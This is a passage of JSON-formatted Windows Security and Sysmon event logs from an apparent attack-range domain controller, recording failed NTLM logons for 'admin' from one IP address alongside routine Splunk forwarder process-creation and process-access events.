request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59679","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221489,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59831\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59831","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2029,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.096\r\nProcessGuid: {90617006-3FE9-5F2D-0000-0010104E0300}\r\nProcessId: 3864\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinNetMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.096","ProcessGuid":"{90617006-3FE9-5F2D-0000-0010104E0300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinNetMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2030,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010104E0300}\r\nTargetProcessId: 3864\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010104E0300}","TargetProcessId":"3864","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2031,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010104E0300}\r\nTargetProcessId: 3864\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010104E0300}","TargetProcessId":"3864","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2032,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2033,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2034,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2035,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2036,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 